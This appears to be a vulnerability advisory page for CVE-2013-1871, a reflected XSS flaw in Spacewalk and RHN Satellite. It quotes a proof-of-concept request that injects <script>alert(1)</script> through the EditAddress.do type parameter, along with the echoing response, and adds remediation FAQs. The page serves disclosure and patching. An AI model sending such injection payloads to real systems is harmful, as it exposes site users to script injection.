CVE-2013-1871: XSS
Cross-site scripting (XSS) vulnerability in account/EditAddress.do in Spacewalk and Red Hat Network (RHN) Satellite 5.6 allows remote attackers to inject arbitrary web script or HTML via the type parameter.
Other sources
Ryan Giobbi from UPMC reported an XSS flaw in the EditAddress.do page:
Request
GET /rhn/account/EditAddress.do?type=M83ab7<script>alert(1)</script>c47ea873a9d&uid=41 HTTP/1.1 Host: host.example.com Accept: / Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Thu, 21 Feb 2013 18:24:04 GMT Content-Type: text/html;charset=UTF-8 Set-Cookie: pxt-session-cookie=7053xcace9e6d1158735e6f047ab49e4e509c; Path=/; Secure; HttpOnly Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="e ...[SNIP]... <h2> address type M83ab7<script>alert(1)</script>c47ea873a9d Record: </h2> ...[SNIP]...
— Red Hat
Affected Software
Remediation
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2013-1871?
CVE-2013-1871 is considered a medium severity vulnerability due to its Cross-site Scripting (XSS) nature.
How do I fix CVE-2013-1871?
To fix CVE-2013-1871, it is recommended to update the affected software to the latest patched version.
What systems are affected by CVE-2013-1871?
CVE-2013-1871 impacts Spacewalk version 2.0.2 and Red Hat Network Satellite Server version 5.6.
What type of vulnerability is CVE-2013-1871?
CVE-2013-1871 is a Cross-site Scripting (XSS) vulnerability which allows attackers to inject malicious scripts into web pages.
Who reported the vulnerability CVE-2013-1871?
The XSS flaw in CVE-2013-1871 was reported by Ryan Giobbi from UPMC.